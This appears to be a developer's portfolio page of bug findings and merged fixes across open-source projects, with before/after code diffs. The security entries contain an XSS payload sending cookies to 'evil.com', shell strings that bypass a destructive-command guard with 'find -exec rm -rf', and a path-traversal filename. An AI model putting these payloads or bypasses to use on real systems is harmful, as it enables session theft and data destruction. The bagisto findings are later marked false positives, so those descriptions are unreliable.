PR #3714 — fix(token-budget): _lock never acquired — data race on concurrent runs
TokenBudgetMiddleware defined self._lock = threading.Lock() in __init__ and acquired it only in reset(). The four methods that mutate per-run state — before_agent, _apply, _clear_run_state, and _drain_pending_warnings — all accessed the same BoundedDict structures without holding the lock, creating a data race on concurrent runs.
Merged by WillemJiang on Jun 22, 2026 — all CI passed (backend + frontend + e2e + lint). PR is tagged under the v2.1.0 milestone — name will appear in the next release notes.
deer-flow · ⭐ 75K stars · 10K forks · ByteDance open-source AI agent framework
PR #32801 — fix(core): Include IPv6 loopback [::1] in MCP redirect URI DTO validation
isLocalhost in the MCP redirect URI DTO only checked localhost and 127.0.0.1, but the runtime isLoopbackHost also accepts [::1]. An admin trying to save http://[::1]:3000/callback hit a validation error — "HTTPS required for redirect URI" — even though the same URI was correctly recognised as loopback at runtime.
Merged by nikhilkuria on Jun 29, 2026 — went through n8n's internal review queue (GHC-8773, ~1 month wait).
n8n · ⭐ 194K stars · 58K forks · Enterprise workflow automation platform
Named in n8n v2.29.0 Release Notes (Jun 30, 2026) — listed as a contributor alongside 13 others in the official changelog.
"fix: guard sort() with shuffle check so --shuffle is not silently ignored by @kapil971390 in #5639"
"@kapil971390 made their first contribution in #5639"
— CodeceptJS v4.0.8 Release · Published Jun 17, 2026
Each finding comes from deep commit-level diff analysis — examining what changed between revisions, identifying callers that weren't updated, and verifying the behavioral contract break is real.
What I look for:
- Silent return value changes (
null/ empty instead of expected data) - Exception scope widening (
except AttributeError→except Exception) - Parameter removals that break callers without a compile-time error
- Unreachable code masking intended behavior
- Wrong entity type passed to external APIs
Repo: NanmiCoder/MediaCrawler · 6K+ ⭐ — Social media crawler platform
PR: #925 ✅ Merged by NanmiCoder · Labels: bug lgtm size:XS · Date: Jul 1, 2026
create_ip_pool() in proxy/proxy_ip_pool.py calls IpProxyProvider.get(config.IP_PROXY_PROVIDER_NAME) which silently returns None when the provider name is unknown (typo, unsupported value, etc.). That None is stored as ProxyIpPool.ip_provider with no error at construction time. The crash only surfaces when load_proxies() is called:
AttributeError: 'NoneType' object has no attribute 'get_proxy'
The error message gives no indication that the root cause is a misconfigured IP_PROXY_PROVIDER_NAME.
# Before — None stored silently
ip_provider=IpProxyProvider.get(config.IP_PROXY_PROVIDER_NAME),
# After — fail fast with actionable message listing valid options
ip_provider = IpProxyProvider.get(config.IP_PROXY_PROVIDER_NAME)
if ip_provider is None:
raise ValueError(
f"Unknown proxy provider: '{config.IP_PROXY_PROVIDER_NAME}'. "
f"Valid options: {list(IpProxyProvider.keys())}"
)Response: NanmiCoder merged without comment — labeled bug, lgtm, size:XS.
Repo: n8n-io/n8n · 194K+ ⭐ · 58K forks — Biggest repo merged into PR: #32801 ✅ Merged by nikhilkuria · Date: Jun 29, 2026
The isLocalhost function in update-allowed-redirect-uris.dto.ts (DTO validation layer) only checked for localhost and 127.0.0.1. But the runtime isLoopbackHost in oauth-server.service.ts also accepts [::1] (IPv6 loopback). This created a split-brain: an admin saving http://[::1]:3000/callback would get a hard validation error — "HTTPS required for redirect URI" — at the DTO layer, even though the same URI was correctly accepted as loopback at runtime.
// DTO — BEFORE (missing [::1])
const isLocalhost = (hostname: string): boolean =>
hostname === 'localhost' || hostname === '127.0.0.1';
// Runtime — already correct
private isLoopbackHost(hostname: string): boolean {
return hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '[::1]';
}Fix: added [::1] to isLocalhost in the DTO to match the runtime check. PR went through n8n's internal review queue (~1 month, tracked as GHC-8773).
Repo: harry0703/MoneyPrinterTurbo · 89K+ ⭐ Issue: #984 · Fix PR: #994 ✅ Merged · Date: Jun 4, 2026
When the Qwen API returns an empty choices[] array (rate-limit or quota exhausted), the code attempts response.choices[0] with no guard — raising an unhandled IndexError with zero diagnostic context. Users had no way to distinguish a quota issue from a code bug.
# Before — crashes silently
content = response.choices[0].message.content
# After — clear diagnostic
if not response.choices:
raise ValueError("Qwen returned empty choices — check API key / quota")
content = response.choices[0].message.contentResponse: Maintainer acknowledged the diagnostics gap, requested a focused PR → merged same day. A community contributor also offered to help.
Repo: harry0703/MoneyPrinterTurbo · 89K+ ⭐ Issue: #1013 · Fix PR: #1014 ✅ Merged · Date: Jun 10, 2026
When the Groq model list endpoint fails (network error, auth issue), the UI silently falls back to the first entry in a hardcoded list. If that entry is stale, every generation call uses the wrong model — no error, no warning.
Response: Maintainer agreed, requested PR → merged.
Repo: harry0703/MoneyPrinterTurbo · 89K+ ⭐ Issue: #1032 · Fix PR: #1033 ✅ Merged · Date: Jun 13, 2026
The new cli.py accepted --video-source local without requiring --video-materials, causing failures deep into the run (after LLM + TTS steps) with a generic error. It also accepted --stop-at terms with local sources even though term generation is intentionally skipped for local sources — returning {"terms": ""} with no error.
Both constraints now checked in parse_args() via parser.error() — exits immediately with a clear message before any work begins.
Response: Maintainer verified locally with 3 test cases, merged. "Thanks for the contribution."
Repo: harry0703/MoneyPrinterTurbo · 89K+ ⭐ Issue: #1049 · PR: #1050 🔒 Confirmed — Fixed by maintainer · Date: Jun 17, 2026
When an LLM provider is configured with a custom *_base_url containing embedded credentials (https://user:pass@host/v1), the OpenAI SDK raises exceptions whose str() includes the raw URL. The bare except Exception as e: return f"Error: {str(e)}" block in _generate_response surfaced that string verbatim — leaking credentials into API responses and any logging layer that recorded return values.
# Before — raw exception str leaks https://user:pass@host/v1
except Exception as e:
return f"Error: {str(e)}"
# After — credentials redacted before surfacing
except Exception as e:
return f"Error: {_sanitize_error_message(e)}"
def _sanitize_error_message(msg) -> str:
return re.sub(r"(https?://)([^:@/\s]+:[^@/\s]+@)", r"\1***:***@", str(msg))Response: Maintainer confirmed the finding was valid and had already independently fixed the same issue on main (commit a810d67). Their fix also covers sensitive query params (api_key, access_token, etc.) + added regression tests. PR #1050 closed as duplicate. Harry noted "The report and PR helped confirm the right fix path."
Repo: codeceptjs/CodeceptJS · 10K+ ⭐ Issue: #5605 · Fix PR: #5639 ✅ Merged · Date: Jun 5, 2026
Commit #5438 refactored test file loading and silently dropped the shuffle() call — the --shuffle CLI flag was accepted without error but had no effect. Tests always ran in the same order regardless of the flag, breaking randomized test ordering for all users.
// Before fix — shuffle never called after #5438
this.testFiles = await this.loader.loadTests(opts);
// After fix — shuffle restored when flag is set
this.testFiles = await this.loader.loadTests(opts);
if (opts.shuffle) {
this.testFiles = shuffle(this.testFiles);
}Response: DavertMik (maintainer) merged PR #5639 and said "Thank you for catching it!"
Repo: penpot/penpot · 50K+ ⭐ Issue: #10279 · Fix PR: #10280 ✅ Merged in v2.17.0 · Date: Jun 18, 2026
After the MCP state management refactor (PR #10226), the on-created callback in both generate-mcp-token-modal and regenerate-mcp-token-modal no longer called fetch-access-tokens. The call had been in create-token*'s on-success handler but was not carried forward to the new callbacks.
;; profile.cljs — access-token-created was doing an optimistic conj:
(update state :access-tokens conj access-token)
;; ↑ leaves old (server-deleted) token as first match in the vector
;; create-access-token never triggered a re-fetch after the optimistic add.
;; d/seek in mcp-server-section* returns the FIRST mcp token → old stale data shown.Result: after regenerating an MCP token, the Integrations page showed the old (now server-deleted) token's string, expiry, and server URL until the user manually refreshed the page. The bug was in profile.cljs, not in the UI components.
;; Fix — remove optimistic conj, chain fetch-access-tokens after API call:
(->> (rp/cmd! :create-access-token params)
(rx/tap on-success)
(rx/mapcat (fn [token]
(rx/of (access-token-created token)
(fetch-access-tokens))))) ;; ← ensures fresh stateResponse: niwinz (core maintainer, original PR author) confirmed the bug, suggested this exact fix approach, and merged same day. Added to milestone v2.17.0.
Repo: affaan-m/ECC · 217K+ ⭐ Issue: #2291 · Fix PR: #2292 ✅ Merged · Date: Jun 18, 2026
The gateguard-fact-force.js security hook splits shell commands via splitCommandSegments and then checks each segment for destructive patterns. The problem: splitCommandSegments strips quoted strings before splitting — so when the output was fed to isDestructiveFindExec, the function received already-processed segments, missing find -exec rm patterns that appeared after compound operators (&&, ;, |, ||).
// Before — find-exec check ran on post-stripped segments, bypass possible
const segments = bodies.flatMap(splitCommandSegments);
for (const segment of segments) {
if (isDestructiveFindExec(segment)) return true; // ⚠️ missed after && ; | ||
}
// After — check raw sub-commands for find-exec BEFORE any stripping
const bodies = collectExecutableBodies(raw);
for (const body of bodies) {
for (const rawSeg of body.split(/[;|&]+/).map(s => s.trim()).filter(Boolean)) {
if (isDestructiveFindExec(rawSeg)) return true; // ✅ catches all compound patterns
}
}Bypass vectors patched: ls && find . -exec rm -rf {} \;, echo ok; find . -exec rm {} \;, cat file | find . -exec rm {} \;, false || find . -exec rm -rf {} \;.
Response: Maintainer merged without comment — security fix silently accepted.
Repo: medusajs/medusa · 28K+ ⭐ Discussion: #15550 ⏳ Watching · Date: Jun 4, 2026
Async workflow step compensatePaymentIfNeededStep has a potential race condition where concurrent order fulfillment flows could trigger duplicate payment compensation — leading to double refunds or inconsistent payment state.
Repo: harry0703/MoneyPrinterTurbo · 89K+ ⭐ Issue: #985 ⏳ Community PR expected · Date: Jun 4, 2026
Duration boundary check uses >= where > is semantically correct — edge-case videos at exact boundary duration may be silently rejected or accepted incorrectly.
Response: Community contributor (Sushanth012) offered to submit a fix.
Repo: magento/magento2 · 14K+ ⭐ Issue: #40882 · PR: #40883 🔍 Open · Date: Jun 16, 2026
retrieveInvalidSkuList() calls retrieveProductIdsBySkus() to build a valid-SKU list, then calls productRepository->get($sku) on those SKUs without a try/catch. Between the two calls, a product can be deleted — causing NoSuchEntityException to propagate uncaught and fail the entire bulk price update batch, silently discarding all other valid entries.
// Before — crashes entire batch if product deleted between lookup and fetch
if ($allowedPriceTypeValue && $type == Type::TYPE_BUNDLE) {
$product = $this->productRepository->get($sku); // ⚠️ throws if deleted
...
}
// After — graceful handling of race condition
try {
$product = $this->productRepository->get($sku);
if ($product->getPriceType() != $allowedPriceTypeValue) {
$valueTypeIsAllowed = true;
}
} catch (NoSuchEntityException $e) {
$skuDiff[] = $sku;
break;
}The same pattern was fixed in TierPriceValidator::checkQuantity() (ACP2E-4998) but InvalidSkuProcessor was missed. Affects all bulk base-price, special-price, and tier-price APIs under concurrent catalog modifications.
Repo: erictik/midjourney-api · 1.8K ⭐ Issue: #294 🔍 Open · Date: Jun 14, 2026
// getCommand() and allCommand() — src/command.ts lines 68-72
let serverId = this.config.ServerId;
if (!serverId) {
serverId = this.config.ChannelId; // ⚠️ ChannelId ≠ guild ID
}
const url = `.../api/v9/guilds/${serverId}/application-command-index`;ServerId is optional in config. When omitted, ChannelId is used as the guild ID — but Discord's endpoint requires a server (guild) ID. Channel IDs and guild IDs are different entity types in Discord's API. The call either returns 404 or wrong data, causing all command operations to fail.
Repo: erictik/midjourney-api · 1.8K ⭐ Issue: #295 🔍 Open · Date: Jun 14, 2026
// src/command.ts lines 35-45
async cacheCommand(name: CommandName) {
if (this.cache[name] !== undefined) return this.cache[name];
const command = await this.getCommand(name);
this.cache[name] = command;
return command; // ← exits here
this.allCommand(); // ← dead code: never reached
return this.cache[name]; // ← dead code: never reached
}allCommand() was meant to bulk-fetch all commands on first miss, populating the full cache. The early return makes it unreachable — every subsequent cacheCommand() call hits Discord's API individually, causing unnecessary requests and potential rate limiting.
10 · bagisto — getClientOriginalName() path traversal in RMAImageRepository — incomplete security fix
Repo: bagisto/bagisto · 9.1K+ ⭐ Issue: #11338 🔍 Open · Date: Jun 14, 2026
A prior security fix correctly replaced getClientOriginalName() in RequestController.php, but RMAImageRepository.php was missed — it still uses the client-supplied filename directly as the storage path:
// RMAImageRepository.php — manageImages() lines 25-28
foreach ($requestImages as $itemImage) {
$this->create([
'rma_id' => $rma->id,
'path' => $itemImage->getClientOriginalName(), // ⚠️ attacker-controlled
]);
}An attacker can upload a file named ../../../../config/database.php — the client-provided name is stored as the path without sanitization, enabling path traversal to overwrite arbitrary files on the server.
Fix: Replace getClientOriginalName() with store() to generate a safe, random server-side path — matching the pattern already applied to RequestController.php.
Repo: bagisto/bagisto · 9.1K+ ⭐ Issue: #11339 🔍 Open · Date: Jun 14, 2026
Multiple Shop views render user-controlled data via Vue's v-html, which bypasses HTML escaping — allowing stored XSS. A prior fix addressed customer_name, but product_name and datagrid record[column.index] remain unpatched.
<!-- order-view.blade.php -->
<p v-html="item.name"></p> <!-- ⚠️ product name from DB — unescaped -->
<!-- datagrid/table.blade.php -->
<span v-html="record[column.index]"></span> <!-- ⚠️ any column value — unescaped -->A seller or admin with product-edit access can inject <script>document.location='https://evil.com?c='+document.cookie</script> as a product name. Every customer who views their order detail page executes the payload.
Fix: Replace v-html with {{ }} interpolation (Vue's safe default) for all user-controlled string fields, matching the fix already applied to customer_name.
| Date | Repo | Finding | Outcome |
|---|---|---|---|
| Jul 1 | NanmiCoder/MediaCrawler | IpProxyProvider.get() returns None for unknown proxy provider name — silently stored, crashes as AttributeError: 'NoneType' object has no attribute 'get_proxy' on load_proxies() |
PR #925 merged ✅ — labeled bug lgtm by NanmiCoder |
| Jul 1 | calesthio/OpenMontage | success contract mismatch in CharacterAnimationReviewer — success=False on QA issues diverged from visual_qa.py pattern; compose-director gates on status not success |
PR #227 merged ✅ by calesthio |
| Jun 29 | n8n-io/n8n ⭐ 194K | IPv6 [::1] missing from MCP redirect URI DTO — admin gets HTTPS-required error despite runtime accepting it |
PR #32801 merged ✅ by nikhilkuria — BIGGEST REPO YET — named in v2.29.0 release notes 🏆 |
| Jun 29 | denoland/deno | BTreeSet::contains byte-exact match misses case-insensitive npm names in trust-policy |
PR #35520 merged ✅ — "bug is real and your analysis is spot on" — bartlomieju |
| Jun 26 | harry0703/MoneyPrinterTurbo | youtube_shorts platform name not matched — metadata silently dropped on upload |
PR #1078 merged ✅ |
| Jun 25 | palmier-io/palmier-pro | CFTypeID guard missing on timecode format description — fatal crash on XMEML export | PR #150 merged ✅ |
| Jun 22 | harry0703/MoneyPrinterTurbo | match_materials_to_script flag missing from REST API DTO — chronological term gen unreachable |
PR #1065 merged ✅ |
| Jun 22 | bytedance/deer-flow ⭐ 75K (ByteDance) | _lock defined but never acquired in token budget — data race on concurrent runs |
PR #3714 merged ✅ — v2.1.0 release note UPCOMING |
| Jun 21 | krillinai/KrillinAI | Path traversal in DownloadFile handler — API keys readable via /api/file/config/config.toml |
PR #297 merged ✅ |
| Jun 18 | affaan-m/ECC | gateguard security hook bypassed via find -exec && compound commands |
PR #2292 merged ✅ |
| Jun 18 | penpot/penpot | MCP token stale state until page refresh | PR #10280 merged in v2.17.0 ✅ |
| Jun 17 | harry0703/MoneyPrinterTurbo | 🔒 Credential leak in LLM error path | Fix confirmed on main (a810d67) ✅ |
| Jun 16 | magento/magento2 | NoSuchEntityException fails entire bulk base-prices batch |
PR #40883 open |
| Jun 14 | bagisto/bagisto | Path traversal + XSS (2 issues) | FP — already defended |
| Jun 14 | erictik/midjourney-api | ChannelId used as ServerId + dead code in cacheCommand() |
PRs open |
| Jun 13 | harry0703/MoneyPrinterTurbo | CLI local source validation gaps | PR #1033 merged ✅ |
| Jun 10 | harry0703/MoneyPrinterTurbo | Groq model name not validated on list fetch failure | PR #1014 merged ✅ |
| Jun 5 | codeceptjs/CodeceptJS | --shuffle flag silently ignored after #5438 |
PR #5639 merged ✅ — named in v4.0.8 release notes 🏆 |
| Jun 4 | medusajs/medusa | Race condition in compensatePaymentIfNeededStep |
Discussion #15550 open |
| Jun 4 | harry0703/MoneyPrinterTurbo | Qwen empty choices[] crash |
PR #994 merged ✅ |